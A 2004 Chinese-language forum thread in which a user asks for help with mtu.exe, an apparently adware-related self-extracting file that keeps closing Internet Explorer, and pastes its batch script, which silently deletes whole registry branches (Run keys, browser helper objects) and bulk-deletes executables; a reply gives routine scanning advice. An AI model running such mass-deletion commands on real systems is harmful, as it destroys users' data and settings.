ruler
2004-07-25, 06:04 PM
每隔一陣子電腦就會跳出視窗(圗)
IE就會被強制關閉
我使用過PC CILLIN 2004
MACFEE 線上掃毒
Ad-aware 6
Spybot - Search & Destroy
仍然無法解決此問題
這個問題似乎是跟隨這個網頁出來的
http://www.angelfire.com/dc2/dcs2/
它會詢問你是否要安裝 MediaTickets
但我並沒有按下確定
可是卻產生了這樣的問題
請高手指點迷津 m(_._)m
贊助商連結
ruler
2004-07-25, 06:07 PM
http://myweb.hinet.net/home4/himaxthegold/FUCK.jpg
圖補上
ruler
2004-07-26, 12:17 AM
都沒人願意幫我嘛= =
拜託幫我看看
我現在發現
這個東西是由一個mtu.exe(RAR自解檔)產生的
我的電腦一開機連上網後 就會連上這個
http://www.angelfire.com/dc2/dcs2/
他會詢問你要不要安裝MediaTickets(?)
而我都按下否
(現在我已經把http://www.angelfire.com歸類到限制的網站)
(所以安裝元件或JAVA已經沒有作用)
但是...之後
電腦會一直產生mtu.exe在C:\
(刪掉後繼續產生)
並且執行它
結果就是上面那張圖
(所有IE視窗會被關閉)
mtu.exe應該跟那網站有很大關聯
因為都有提到MediaTickets...
我用了
PC CILLIN 掃毒, 防火牆
MACFEE 線上掃毒
Ad-aware
Spybot - Search & Destroy
都無法解決這個東西
精華區的解決首頁被綁架之方法大全
好像都沒有用
突然 我試著把mtu.exe用WINRAR解開
發現有Process.exe, mtu.bat這兩個檔案...[續]
ruler
2004-07-26, 12:24 AM
我把mtu.bat用記事本打開
裡面這樣寫著:
=================================================================================
@ECHO OFF
Process -k iexplore.exe
>>"nube.reg" ECHO REGEDIT4
>>"nube.reg" ECHO.
>>"nube.reg" ECHO [-HKEY_CLASSES_ROOT\CLSID\{9EB320CE-BE1D-4304-A081-4B4665414BEF}]
>>"nube.reg" ECHO [-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
>>"nube.reg" ECHO [-HKEY_CLASSES_ROOT\CLSID\{71ED4FBA-4024-4bbe-91DC-9704C93F453E}]
>>"nube.reg" ECHO [-HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser]
>>"nube.reg" ECHO [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects]
regedit /S nube.reg
del nube.reg /Q
cd %SYSTEMROOT%\Downloaded Program Files
del MediaTicketsInstaller*.* /Q
del MediaTicketsInstaller.ocx /Q
cd %systemroot%\Downloaded Program Files\CONFLICT.1
DEL MediaTicketsInstaller.ocx /Q
cd %systemroot%\Downloaded Program Files\CONFLICT.2
DEL MediaTicketsInstaller.ocx /Q
cd %systemroot%\Downloaded Program Files\CONFLICT.3
DEL MediaTicketsInstaller.ocx /Q
cd %systemroot%\Downloaded Program Files\CONFLICT.4
DEL MediaTicketsInstaller.ocx /Q
cd %USERPROFILE%\Application Data
DEL *.exe /Q
cd %systemroot%\system32
DEL wnsapisu.exe
cd %PROGRAMFILES%\IESearchbar
DEL *.exe /Q
cd %SYSTEMROOT%
del mtu.bat
del process.exe
cd c:\
del mtu.exe
=================================================================================
嗯...
老實說
這動作好像就是要刪除一些程式
但小弟我笨笨的
看不出有什麼目的或??
(說白話就是看不懂= =)
拜託!! 拜託!!
請各位高手幫幫我!!!
這看似不是啥大病毒
但它會不斷的跳出來
關閉我所有的IE視窗
連玩個魔獸都會跳出來而不得安寧= =
(不知道因為這樣DOTA害我死了幾次@@)
煩請高手指點迷津!
告訴我解決的方法
或者哪邊有解決的方法
拜託!! 感謝!!
mus000
2004-07-26, 01:08 AM
1. 請更新 ad-aware 定義檔到最新。
2. 請使用機碼深入掃瞄,並掃瞄系統碟。
3. 掃瞄前,請確認 IE 都已經關閉了。最好在工作管理員中再確認看看。
PS: IE 記得做好線上更新到最新修正檔。修補 activeX 自動執行的漏洞。